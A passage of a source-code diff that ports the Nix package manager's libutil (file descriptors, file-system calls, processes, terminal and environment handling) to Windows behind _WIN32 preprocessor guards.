rlim_t savedStackSize = 0; void setStackSize(rlim_t stackSize) @@ -79,16 +82,20 @@ void setStackSize(rlim_t stackSize) } } } +#endif void restoreProcessContext(bool restoreMounts) { + #ifndef _WIN32 unix::restoreSignals(); + #endif if (restoreMounts) { #if __linux__ restoreMountNamespace(); #endif } + #ifndef _WIN32 if (savedStackSize) { struct rlimit limit; if (getrlimit(RLIMIT_STACK, &limit) == 0) { @@ -96,6 +103,7 @@ void restoreProcessContext(bool restoreMounts) setrlimit(RLIMIT_STACK, &limit); } } + #endif } diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh index 444c717d1..a5adb70cf 100644 --- a/src/libutil/current-process.hh +++ b/src/libutil/current-process.hh @@ -2,7 +2,10 @@ ///@file #include -#include + +#ifndef _WIN32 +# include +#endif #include "types.hh" @@ -14,16 +17,18 @@ namespace nix { */ unsigned int getMaxCPU(); +#ifndef _WIN32 // TODO implement on Windows, if needed. /** * Change the stack size. */ void setStackSize(rlim_t stackSize); +#endif /** * Restore the original inherited Unix process context (such as signal * masks, stack size). - * See startSignalHandlerThread(), saveSignalMask(). + * See unix::startSignalHandlerThread(), unix::saveSignalMask(). */ void restoreProcessContext(bool restoreMounts = true); diff --git a/src/libutil/environment-variables.hh b/src/libutil/environment-variables.hh index 21c2356a4..e0649adac 100644 --- a/src/libutil/environment-variables.hh +++ b/src/libutil/environment-variables.hh @@ -28,6 +28,13 @@ std::optional getEnvNonEmpty(const std::string & key); */ std::map getEnv(); +#ifdef _WIN32 +/** + * Implementation of missing POSIX function. + */ +int unsetenv(const char * name); +#endif + /** * Like POSIX `setenv`, but always overrides. * diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 445b1e19c..0419f36d6 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -247,6 +247,23 @@ public: } }; +#ifdef _WIN32 +class WinError; +#endif + +/** + * Convenience alias for when we use a `errno`-based error handling + * function on Unix, and `GetLastError()`-based error handling on on + * Windows. + */ +using NativeSysError = +#ifdef _WIN32 + WinError +#else + SysError +#endif + ; + /** * Throw an exception for the purpose of checking that exception * handling works; see 'initLibUtil()'. diff --git a/src/libutil/file-descriptor.cc b/src/libutil/file-descriptor.cc index 95cbb8537..3bbfc50ee 100644 --- a/src/libutil/file-descriptor.cc +++ b/src/libutil/file-descriptor.cc @@ -5,6 +5,11 @@ #include #include +#ifdef _WIN32 +# include +# include +# include "windows-error.hh" +#endif namespace nix { @@ -20,7 +25,13 @@ std::string drainFD(Descriptor fd, bool block, const size_t reserveSize) // the parser needs two extra bytes to append terminating characters, other users will // not care very much about the extra memory. StringSink sink(reserveSize + 2); +#ifdef _WIN32 + // non-blocking is not supported this way on Windows + assert(block); + drainFD(fd, sink); +#else drainFD(fd, sink, block); +#endif return std::move(sink.s); } @@ -68,9 +79,15 @@ Descriptor AutoCloseFD::get() const void AutoCloseFD::close() { if (fd != INVALID_DESCRIPTOR) { - if(::close(fd) == -1) + if( +#ifdef _WIN32 + ::CloseHandle(fd) +#else + ::close(fd) +#endif + == -1) /* This should never happen. */ - throw SysError("closing file descriptor %1%", fd); + throw NativeSysError("closing file descriptor %1%", fd); fd = INVALID_DESCRIPTOR; } } @@ -80,14 +97,16 @@ void AutoCloseFD::fsync() if (fd != INVALID_DESCRIPTOR) { int result; result = -#if __APPLE__ +#ifdef _WIN32 + ::FlushFileBuffers(fd) +#elif __APPLE__ ::fcntl(fd, F_FULLFSYNC) #else ::fsync(fd) #endif ; if (result == -1) - throw SysError("fsync file descriptor %1%", fd); + throw NativeSysError("fsync file descriptor %1%", fd); } } diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh index 719e1e444..50201d846 100644 --- a/src/libutil/file-descriptor.hh +++ b/src/libutil/file-descriptor.hh @@ -4,6 +4,11 @@ #include "types.hh" #include "error.hh" +#ifdef _WIN32 +# define WIN32_LEAN_AND_MEAN +# include +#endif + namespace nix { struct Sink; @@ -12,9 +17,21 @@ struct Source; /** * Operating System capability */ -typedef int Descriptor; +typedef +#if _WIN32 + HANDLE +#else + int +#endif + Descriptor; -const Descriptor INVALID_DESCRIPTOR = -1; +const Descriptor INVALID_DESCRIPTOR = +#if _WIN32 + INVALID_HANDLE_VALUE +#else + -1 +#endif + ; /** * Convert a native `Descriptor` to a POSIX file descriptor @@ -23,17 +40,26 @@ const Descriptor INVALID_DESCRIPTOR = -1; */ static inline Descriptor toDescriptor(int fd) { +#ifdef _WIN32 + return (HANDLE) _get_osfhandle(fd); +#else return fd; +#endif } /** - * Convert a POSIX file descriptor to a native `Descriptor` + * Convert a POSIX file descriptor to a native `Descriptor` in read-only + * mode. * * This is a no-op except on Windows. */ -static inline int fromDescriptor(Descriptor fd, int flags) +static inline int fromDescriptorReadOnly(Descriptor fd) { +#ifdef _WIN32 + return _open_osfhandle((intptr_t) fd, _O_RDONLY); +#else return fd; +#endif } /** @@ -64,11 +90,24 @@ void writeLine(Descriptor fd, std::string s); */ std::string drainFD(Descriptor fd, bool block = true, const size_t reserveSize=0); -void drainFD(Descriptor fd, Sink & sink, bool block = true); +/** + * The Windows version is always blocking. + */ +void drainFD( + Descriptor fd + , Sink & sink +#ifndef _WIN32 + , bool block = true +#endif + ); [[gnu::always_inline]] inline Descriptor getStandardOut() { +#ifndef _WIN32 return STDOUT_FILENO; +#else + return GetStdHandle(STD_OUTPUT_HANDLE); +#endif } /** @@ -100,6 +139,8 @@ public: void close(); }; +#ifndef _WIN32 // Not needed on Windows, where we don't fork + /** * Close all file descriptors except those listed in the given set. * Good practice in child processes. @@ -111,6 +152,15 @@ void closeMostFDs(const std::set & exceptions); */ void closeOnExec(Descriptor fd); +#endif + +#ifdef _WIN32 +# if _WIN32_WINNT >= 0x0600 +Path handleToPath(Descriptor handle); +std::wstring handleToFileName(Descriptor handle); +# endif +#endif + MakeError(EndOfFile, Error); } diff --git a/src/libutil/file-path.hh b/src/libutil/file-path.hh new file mode 100644 index 000000000..6fb100125 --- /dev/null +++ b/src/libutil/file-path.hh @@ -0,0 +1,52 @@ +#pragma once +///@file + +#include +#include + +#include "types.hh" + +namespace nix { + +/** + * Paths are just `std::filesystem::path`s. + * + * @todo drop `NG` suffix and replace the ones in `types.hh`. + */ +typedef std::filesystem::path PathNG; +typedef std::list PathsNG; +typedef std::set PathSetNG; + +/** + * Stop gap until `std::filesystem::path_view` from P1030R6 exists in a + * future C++ standard. + * + * @todo drop `NG` suffix and replace the one in `types.hh`. + */ +struct PathViewNG : std::basic_string_view +{ + using string_view = std::basic_string_view; + + using string_view::string_view; + + PathViewNG(const PathNG & path) + : std::basic_string_view(path.native()) + { } + + PathViewNG(const PathNG::string_type & path) + : std::basic_string_view(path) + { } + + const string_view & native() const { return *this; } + string_view & native() { return *this; } +}; + +std::string os_string_to_string(PathViewNG::string_view path); + +PathNG::string_type string_to_os_string(std::string_view s); + +std::optional maybePathNG(PathView path); + +PathNG pathNG(PathView path); + +} diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 89d309731..b03bb767b 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -1,5 +1,6 @@ #include "environment-variables.hh" #include "file-system.hh" +#include "file-path.hh" #include "file-path-impl.hh" #include "signals.hh" #include "finally.hh" @@ -18,6 +19,10 @@ #include #include +#ifdef _WIN32 +# include +#endif + namespace fs = std::filesystem; namespace nix { @@ -128,10 +133,10 @@ std::string_view baseNameOf(std::string_view path) return ""; auto last = path.size() - 1; - while (last > 0 && path[last] == '/') + while (last > 0 && NativePathTrait::isPathSep(path[last])) last -= 1; - auto pos = path.rfind('/', last); + auto pos = NativePathTrait::rfindPathSep(path, last); if (pos == path.npos) pos = 0; else @@ -164,11 +169,16 @@ struct stat stat(const Path & path) return st; } +#ifdef _WIN32 +# define STAT stat +#else +# define STAT lstat +#endif struct stat lstat(const Path & path) { struct stat st; - if (lstat(path.c_str(), &st)) + if (STAT(path.c_str(), &st)) throw SysError("getting status of '%1%'", path); return st; } @@ -177,7 +187,7 @@ struct stat lstat(const Path & path) std::optional maybeLstat(const Path & path) { std::optional st{std::in_place}; - if (lstat(path.c_str(), &*st)) + if (STAT(path.c_str(), &*st)) { if (errno == ENOENT || errno == ENOTDIR) st.reset(); @@ -207,6 +217,7 @@ bool pathAccessible(const Path & path) Path readLink(const Path & path) { +#ifndef _WIN32 checkInterrupt(); std::vector buf; for (ssize_t bufSize = PATH_MAX/4; true; bufSize += bufSize/2) { @@ -220,13 +231,16 @@ Path readLink(const Path & path) else if (rlSize < bufSize) return std::string(buf.data(), rlSize); } +#else + // TODO modern Windows does in fact support symlinks + throw UnimplementedError("reading symbolic link '%1%'", path); +#endif } bool isLink(const Path & path) { - struct stat st = lstat(path); - return S_ISLNK(st.st_mode); + return getFileType(path) == DT_LNK; } @@ -274,7 +288,12 @@ unsigned char getFileType(const Path & path) std::string readFile(const Path & path) { - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + )); if (!fd) throw SysError("opening file '%1%'", path); return readFile(fd.get()); @@ -283,7 +302,12 @@ std::string readFile(const Path & path) void readFile(const Path & path, Sink & sink) { - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_CLOEXEC); + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + )); if (!fd) throw SysError("opening file '%s'", path); drainFD(fd.get(), sink); @@ -292,7 +316,12 @@ void readFile(const Path & path, Sink & sink) void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) { - AutoCloseFD fd = open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode); + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + , mode)); if (!fd) throw SysError("opening file '%1%'", path); try { @@ -312,7 +341,12 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) void writeFile(const Path & path, Source & source, mode_t mode, bool sync) { - AutoCloseFD fd = open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode); + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + , mode)); if (!fd) throw SysError("opening file '%1%'", path); @@ -339,21 +373,23 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) void syncParent(const Path & path) { - AutoCloseFD fd = open(dirOf(path).c_str(), O_RDONLY, 0); + AutoCloseFD fd = toDescriptor(open(dirOf(path).c_str(), O_RDONLY, 0)); if (!fd) throw SysError("opening file '%1%'", path); fd.fsync(); } -static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed) +static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytesFreed) { +#ifndef _WIN32 checkInterrupt(); std::string name(baseNameOf(path)); struct stat st; - if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { + if (fstatat(parentfd, name.c_str(), &st, + AT_SYMLINK_NOFOLLOW) == -1) { if (errno == ENOENT) return; throw SysError("getting status of '%1%'", path); } @@ -405,6 +441,10 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed) if (errno == ENOENT) return; throw SysError("cannot unlink '%1%'", path); } +#else + // TODO implement + throw UnimplementedError("_deletePath"); +#endif } static void _deletePath(const Path & path, uint64_t & bytesFreed) @@ -413,7 +453,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed) if (dir == "") dir = "/"; - AutoCloseFD dirfd{open(dir.c_str(), O_RDONLY)}; + AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); if (!dirfd) { if (errno == ENOENT) return; throw SysError("opening directory '%1%'", path); @@ -436,11 +476,15 @@ Paths createDirs(const Path & path) if (path == "/") return created; struct stat st; - if (lstat(path.c_str(), &st) == -1) { + if (STAT(path.c_str(), &st) == -1) { created = createDirs(dirOf(path)); - if (mkdir(path.c_str(), 0777) == -1 && errno != EEXIST) + if (mkdir(path.c_str() +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + , 0777 +#endif + ) == -1 && errno != EEXIST) throw SysError("creating directory '%1%'", path); - st = lstat(path); + st = STAT(path); created.push_back(path); } @@ -526,7 +570,11 @@ Path createTempDir(const Path & tmpRoot, const Path & prefix, while (1) { checkInterrupt(); Path tmpDir = tempName(tmpRoot, prefix, includePid, counter); - if (mkdir(tmpDir.c_str(), mode) == 0) { + if (mkdir(tmpDir.c_str() +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + , mode +#endif + ) == 0) { #if __FreeBSD__ /* Explicitly set the group of the directory. This is to work around around problems caused by BSD's group @@ -552,17 +600,24 @@ std::pair createTempFile(const Path & prefix) Path tmpl(defaultTempDir() + "/" + prefix + ".XXXXXX"); // Strictly speaking, this is UB, but who cares... // FIXME: use O_TMPFILE. - AutoCloseFD fd(mkstemp((char *) tmpl.c_str())); + AutoCloseFD fd = toDescriptor(mkstemp((char *) tmpl.c_str())); if (!fd) throw SysError("creating temporary file '%s'", tmpl); +#ifndef _WIN32 closeOnExec(fd.get()); +#endif return {std::move(fd), tmpl}; } void createSymlink(const Path & target, const Path & link) { +#ifndef _WIN32 if (symlink(target.c_str(), link.c_str())) throw SysError("creating symlink from '%1%' to '%2%'", link, target); +#else + // TODO modern Windows does in fact support symlinks + throw UnimplementedError("createSymlink"); +#endif } void replaceSymlink(const Path & target, const Path & link) @@ -583,7 +638,8 @@ void replaceSymlink(const Path & target, const Path & link) } } -void setWriteTime(const fs::path & p, const struct stat & st) +#ifndef _WIN32 +static void setWriteTime(const fs::path & p, const struct stat & st) { struct timeval times[2]; times[0] = { @@ -597,11 +653,14 @@ void setWriteTime(const fs::path & p, const struct stat & st) if (lutimes(p.c_str(), times) != 0) throw SysError("changing modification time of '%s'", p); } +#endif void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) { +#ifndef _WIN32 // TODO: Rewrite the `is_*` to use `symlink_status()` auto statOfFrom = lstat(from.path().c_str()); +#endif auto fromStatus = from.symlink_status(); // Mark the directory as writable so that we can delete its children @@ -621,7 +680,9 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) throw Error("file '%s' has an unsupported type", from.path()); } +#ifndef _WIN32 setWriteTime(to, statOfFrom); +#endif if (andDelete) { if (!fs::is_symlink(fromStatus)) fs::permissions(from.path(), fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); @@ -648,14 +709,18 @@ void moveFile(const Path & oldName, const Path & newName) auto newPath = fs::path(newName); // For the move to be as atomic as possible, copy to a temporary // directory - fs::path temp = createTempDir(newPath.parent_path(), "rename-tmp"); + fs::path temp = createTempDir( + os_string_to_string(PathViewNG { newPath.parent_path() }), + "rename-tmp"); Finally removeTemp = [&]() { fs::remove(temp); }; auto tempCopyTarget = temp / "copy-target"; if (e.code().value() == EXDEV) { fs::remove(newPath); warn("Can’t rename %s as %s, copying instead", oldName, newName); copy(fs::directory_entry(oldPath), tempCopyTarget, true); - renameFile(tempCopyTarget, newPath); + renameFile( + os_string_to_string(PathViewNG { tempCopyTarget }), + os_string_to_string(PathViewNG { newPath })); } } } diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 06a993829..0c4e7cfdd 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -14,6 +14,9 @@ #include #include #include +#ifdef _WIN32 +# include +#endif #include #include @@ -31,6 +34,17 @@ #define DT_DIR 3 #endif +/** + * Polyfill for MinGW + * + * Windows does in fact support symlinks, but the C runtime interfaces predate this. + * + * @todo get rid of this, and stop using `stat` when we want `lstat` too. + */ +#ifndef S_ISLNK +# define S_ISLNK(m) false +#endif + namespace nix { struct Sink; diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 35ce0ac36..91070ea89 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -1,8 +1,15 @@ #include +#include "error.hh" #include "config.hh" #include "fs-sink.hh" +#if _WIN32 +# include +# include "file-path.hh" +# include "windows-error.hh" +#endif + namespace nix { void copyRecursive( @@ -65,8 +72,14 @@ static GlobalConfig::Register r1(&restoreSinkSettings); void RestoreSink::createDirectory(const Path & path) { Path p = dstPath + path; - if (mkdir(p.c_str(), 0777) == -1) - throw SysError("creating directory '%1%'", p); + if ( +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + mkdir(p.c_str(), 0777) == -1 +#else + !CreateDirectoryW(pathNG(p).c_str(), NULL) +#endif + ) + throw NativeSysError("creating directory '%1%'", p); }; struct RestoreRegularFile : CreateRegularFileSink { @@ -81,18 +94,28 @@ void RestoreSink::createRegularFile(const Path & path, std::function nextId{0}; +static uint64_t getPid() +{ +#ifndef _WIN32 + return getpid(); +#else + return GetCurrentProcessId(); +#endif +} + Activity::Activity(Logger & logger, Verbosity lvl, ActivityType type, const std::string & s, const Logger::Fields & fields, ActivityId parent) - : logger(logger), id(nextId++ + (((uint64_t) getpid()) << 32)) + : logger(logger), id(nextId++ + (((uint64_t) getPid()) << 32)) { logger.startActivity(id, lvl, type, s, fields, parent); } diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index 8039d4b80..a589bfd3d 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -10,7 +10,7 @@ PosixSourceAccessor::PosixSourceAccessor(std::filesystem::path && root) : root(std::move(root)) { assert(root.empty() || root.is_absolute()); - displayPrefix = root; + displayPrefix = root.string(); } PosixSourceAccessor::PosixSourceAccessor() @@ -19,10 +19,10 @@ PosixSourceAccessor::PosixSourceAccessor() std::pair PosixSourceAccessor::createAtRoot(const std::filesystem::path & path) { - std::filesystem::path path2 = absPath(path.native()); + std::filesystem::path path2 = absPath(path.string()); return { PosixSourceAccessor { path2.root_path() }, - CanonPath { static_cast(path2.relative_path()) }, + CanonPath { path2.relative_path().string() }, }; } @@ -47,12 +47,16 @@ void PosixSourceAccessor::readFile( auto ap = makeAbsPath(path); - AutoCloseFD fd = open(ap.c_str(), O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + AutoCloseFD fd = toDescriptor(open(ap.string().c_str(), O_RDONLY + #ifndef _WIN32 + | O_NOFOLLOW | O_CLOEXEC + #endif + )); if (!fd) - throw SysError("opening file '%1%'", ap.native()); + throw SysError("opening file '%1%'", ap.string()); struct stat st; - if (fstat(fd.get(), &st) == -1) + if (fstat(fromDescriptorReadOnly(fd.get()), &st) == -1) throw SysError("statting file"); sizeCallback(st.st_size); @@ -62,7 +66,7 @@ void PosixSourceAccessor::readFile( std::array buf; while (left) { checkInterrupt(); - ssize_t rd = read(fd.get(), buf.data(), (size_t) std::min(left, (off_t) buf.size())); + ssize_t rd = read(fromDescriptorReadOnly(fd.get()), buf.data(), (size_t) std::min(left, (off_t) buf.size())); if (rd == -1) { if (errno != EINTR) throw SysError("reading from file '%s'", showPath(path)); @@ -80,7 +84,7 @@ void PosixSourceAccessor::readFile( bool PosixSourceAccessor::pathExists(const CanonPath & path) { if (auto parent = path.parent()) assertNoSymlinks(*parent); - return nix::pathExists(makeAbsPath(path)); + return nix::pathExists(makeAbsPath(path).string()); } std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) @@ -89,7 +93,7 @@ std::optional PosixSourceAccessor::cachedLstat(const CanonPath & pa // Note: we convert std::filesystem::path to Path because the // former is not hashable on libc++. - Path absPath = makeAbsPath(path); + Path absPath = makeAbsPath(path).string(); { auto cache(_cache.lock()); @@ -127,11 +131,13 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & { assertNoSymlinks(path); DirEntries res; - for (auto & entry : nix::readDirectory(makeAbsPath(path))) { + for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) { std::optional type; switch (entry.type) { case DT_REG: type = Type::tRegular; break; + #ifndef _WIN32 case DT_LNK: type = Type::tSymlink; break; + #endif case DT_DIR: type = Type::tDirectory; break; } res.emplace(entry.name, type); @@ -142,7 +148,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & std::string PosixSourceAccessor::readLink(const CanonPath & path) { if (auto parent = path.parent()) assertNoSymlinks(*parent); - return nix::readLink(makeAbsPath(path)); + return nix::readLink(makeAbsPath(path).string()); } std::optional PosixSourceAccessor::getPhysicalPath(const CanonPath & path) diff --git a/src/libutil/unix/processes.hh b/src/libutil/processes.hh similarity index 95% rename from src/libutil/unix/processes.hh rename to src/libutil/processes.hh index 978c37105..a7e85b5be 100644 --- a/src/libutil/unix/processes.hh +++ b/src/libutil/processes.hh @@ -25,6 +25,7 @@ namespace nix { struct Sink; struct Source; +#ifndef _WIN32 class Pid { pid_t pid = -1; @@ -43,13 +44,16 @@ public: void setKillSignal(int signal); pid_t release(); }; +#endif +#ifndef _WIN32 /** * Kill all processes running under the specified uid by sending them * a SIGKILL. */ void killUser(uid_t uid); +#endif /** @@ -68,8 +72,9 @@ struct ProcessOptions int cloneFlags = 0; }; +#ifndef _WIN32 pid_t startProcess(std::function fun, const ProcessOptions & options = ProcessOptions()); - +#endif /** * Run a program and return its stdout in a string (i.e., like the @@ -84,8 +89,10 @@ struct RunOptions Path program; bool searchPath = true; Strings args; +#ifndef _WIN32 std::optional uid; std::optional gid; +#endif std::optional chdir; std::optional> environment; std::optional input; @@ -111,6 +118,7 @@ public: { } }; +#ifndef _WIN32 /** * Convert the exit status of a child as returned by wait() into an @@ -120,4 +128,6 @@ std::string statusToString(int status); bool statusOk(int status); +#endif + } diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index 70c16ff0d..5ea27ccbe 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -7,6 +7,11 @@ #include +#ifdef _WIN32 +# include +# include "windows-error.hh" +#endif + namespace nix { @@ -126,6 +131,14 @@ bool BufferedSource::hasData() size_t FdSource::readUnbuffered(char * data, size_t len) { +#ifdef _WIN32 + DWORD n; + checkInterrupt(); + if (!::ReadFile(fd, data, len, &n, NULL)) { + _good = false; + throw WinError("ReadFile when FdSource::readUnbuffered"); + } +#else ssize_t n; do { checkInterrupt(); @@ -133,6 +146,7 @@ size_t FdSource::readUnbuffered(char * data, size_t len) } while (n == -1 && errno == EINTR); if (n == -1) { _good = false; throw SysError("reading from file"); } if (n == 0) { _good = false; throw EndOfFile(std::string(*endOfFileError)); } +#endif read += n; return n; } diff --git a/src/libutil/terminal.cc b/src/libutil/terminal.cc index 096252f03..4dc280f8c 100644 --- a/src/libutil/terminal.cc +++ b/src/libutil/terminal.cc @@ -2,7 +2,12 @@ #include "environment-variables.hh" #include "sync.hh" -#include +#if _WIN32 +# include +# define isatty _isatty +#else +# include +#endif #include namespace nix { @@ -92,6 +97,7 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int w static Sync> windowSize{{0, 0}}; +#ifndef _WIN32 void updateWindowSize() { struct winsize ws; @@ -101,6 +107,7 @@ void updateWindowSize() windowSize_->second = ws.ws_col; } } +#endif std::pair getWindowSize() diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh index 9d8d0c743..628833283 100644 --- a/src/libutil/terminal.hh +++ b/src/libutil/terminal.hh @@ -21,12 +21,16 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll = false, unsigned int width = std::numeric_limits::max()); +#ifndef _WIN32 + /** * Recalculate the window size, updating a global variable. Used in the * `SIGWINCH` signal handler. */ void updateWindowSize(); +#endif + /** * @return the number of rows and columns of the terminal. * diff --git a/src/libutil/thread-pool.cc b/src/libutil/thread-pool.cc index 805f31d80..0f6349642 100644 --- a/src/libutil/thread-pool.cc +++ b/src/libutil/thread-pool.cc @@ -81,8 +81,10 @@ void ThreadPool::doWork(bool mainThread) { ReceiveInterrupts receiveInterrupts; +#ifndef _WIN32 // Does Windows need anything similar for async exit handling? if (!mainThread) unix::interruptCheck = [&]() { return (bool) quit; }; +#endif bool didWork = false; std::exception_ptr exc; diff --git a/src/libutil/unix/file-path.cc b/src/libutil/unix/file-path.cc new file mode 100644 index 000000000..54a1cc278 --- /dev/null +++ b/src/libutil/unix/file-path.cc @@ -0,0 +1,31 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "util.hh" + +namespace nix { + +std::string os_string_to_string(PathViewNG::string_view path) +{ + return std::string { path }; +} + +PathNG::string_type string_to_os_string(std::string_view s) +{ + return std::string { s }; +} + +std::optional maybePathNG(PathView path) +{ + return { path }; +} + +PathNG pathNG(PathView path) +{ + return path; +} + +} diff --git a/src/libutil/users.hh b/src/libutil/users.hh index 449e5bbe9..153cc73fd 100644 --- a/src/libutil/users.hh +++ b/src/libutil/users.hh @@ -3,16 +3,20 @@ #include "types.hh" -#include +#ifndef _WIN32 +# include +#endif namespace nix { std::string getUserName(); +#ifndef _WIN32 /** * @return the given user's home directory from /etc/passwd. */ Path getHomeOf(uid_t userId); +#endif /** * @return $HOME or the user's home directory from /etc/passwd. @@ -58,6 +62,8 @@ std::string expandTilde(std::string_view path); /** * Is the current user UID 0 on Unix? + * + * Currently always false on Windows, but that may change. */ bool isRootUser(); diff --git a/src/libutil/windows/environment-variables.cc b/src/libutil/windows/environment-variables.cc new file mode 100644 index 000000000..25ab9d63a --- /dev/null +++ b/src/libutil/windows/environment-variables.cc @@ -0,0 +1,17 @@ +#include "environment-variables.hh" + +#include "processenv.h" + +namespace nix { + +int unsetenv(const char *name) +{ + return -SetEnvironmentVariableA(name, nullptr); +} + +int setEnv(const char * name, const char * value) +{ + return -SetEnvironmentVariableA(name, value); +} + +} diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc new file mode 100644 index 000000000..26f769b66 --- /dev/null +++ b/src/libutil/windows/file-descriptor.cc @@ -0,0 +1,148 @@ +#include "file-system.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" +#include "windows-error.hh" +#include "file-path.hh" + +#include +#include +#include +#include +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +std::string readFile(HANDLE handle) +{ + LARGE_INTEGER li; + if (!GetFileSizeEx(handle, &li)) + throw WinError("%s:%d statting file", __FILE__, __LINE__); + + return drainFD(handle, true, li.QuadPart); +} + + +void readFull(HANDLE handle, char * buf, size_t count) +{ + while (count) { + checkInterrupt(); + DWORD res; + if (!ReadFile(handle, (char *) buf, count, &res, NULL)) + throw WinError("%s:%d reading from file", __FILE__, __LINE__); + if (res == 0) throw EndOfFile("unexpected end-of-file"); + count -= res; + buf += res; + } +} + + +void writeFull(HANDLE handle, std::string_view s, bool allowInterrupts) +{ + while (!s.empty()) { + if (allowInterrupts) checkInterrupt(); + DWORD res; +#if _WIN32_WINNT >= 0x0600 + auto path = handleToPath(handle); // debug; do it before becuase handleToPath changes lasterror + if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { + throw WinError("writing to file %1%:%2%", handle, path); + } +#else + if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { + throw WinError("writing to file %1%", handle); + } +#endif + if (res > 0) + s.remove_prefix(res); + } +} + + +std::string readLine(HANDLE handle) +{ + std::string s; + while (1) { + checkInterrupt(); + char ch; + // FIXME: inefficient + DWORD rd; + if (!ReadFile(handle, &ch, 1, &rd, NULL)) { + throw WinError("reading a line"); + } else if (rd == 0) + throw EndOfFile("unexpected EOF reading a line"); + else { + if (ch == '\n') return s; + s += ch; + } + } +} + + +void drainFD(HANDLE handle, Sink & sink/*, bool block*/) +{ + std::vector buf(64 * 1024); + while (1) { + checkInterrupt(); + DWORD rd; + if (!ReadFile(handle, buf.data(), buf.size(), &rd, NULL)) { + WinError winError("%s:%d reading from handle %p", __FILE__, __LINE__, handle); + if (winError.lastError == ERROR_BROKEN_PIPE) + break; + throw winError; + } + else if (rd == 0) break; + sink({(char *) buf.data(), (size_t) rd}); + } +} + + +////////////////////////////////////////////////////////////////////// + + +void Pipe::create() +{ + SECURITY_ATTRIBUTES saAttr = {0}; + saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); + saAttr.lpSecurityDescriptor = NULL; + saAttr.bInheritHandle = TRUE; + + HANDLE hReadPipe, hWritePipe; + if (!CreatePipe(&hReadPipe, &hWritePipe, &saAttr, 0)) + throw WinError("CreatePipe"); + + readSide = hReadPipe; + writeSide = hWritePipe; +} + + +////////////////////////////////////////////////////////////////////// + +#if _WIN32_WINNT >= 0x0600 + +std::wstring handleToFileName(HANDLE handle) { + std::vector buf(0x100); + DWORD dw = GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED); + if (dw == 0) { + if (handle == GetStdHandle(STD_INPUT_HANDLE )) return L""; + if (handle == GetStdHandle(STD_OUTPUT_HANDLE)) return L""; + if (handle == GetStdHandle(STD_ERROR_HANDLE )) return L""; + return (boost::wformat(L"") % handle).str(); + } + if (dw > buf.size()) { + buf.resize(dw); + if (GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED) != dw-1) + throw WinError("GetFinalPathNameByHandleW"); + dw -= 1; + } + return std::wstring(buf.data(), dw); +} + + +Path handleToPath(HANDLE handle) { + return os_string_to_string(handleToFileName(handle)); +} + +#endif + +} diff --git a/src/libutil/windows/file-path.cc b/src/libutil/windows/file-path.cc new file mode 100644 index 000000000..d2f385f50 --- /dev/null +++ b/src/libutil/windows/file-path.cc @@ -0,0 +1,52 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "file-path-impl.hh" +#include "util.hh" + +namespace nix { + +std::string 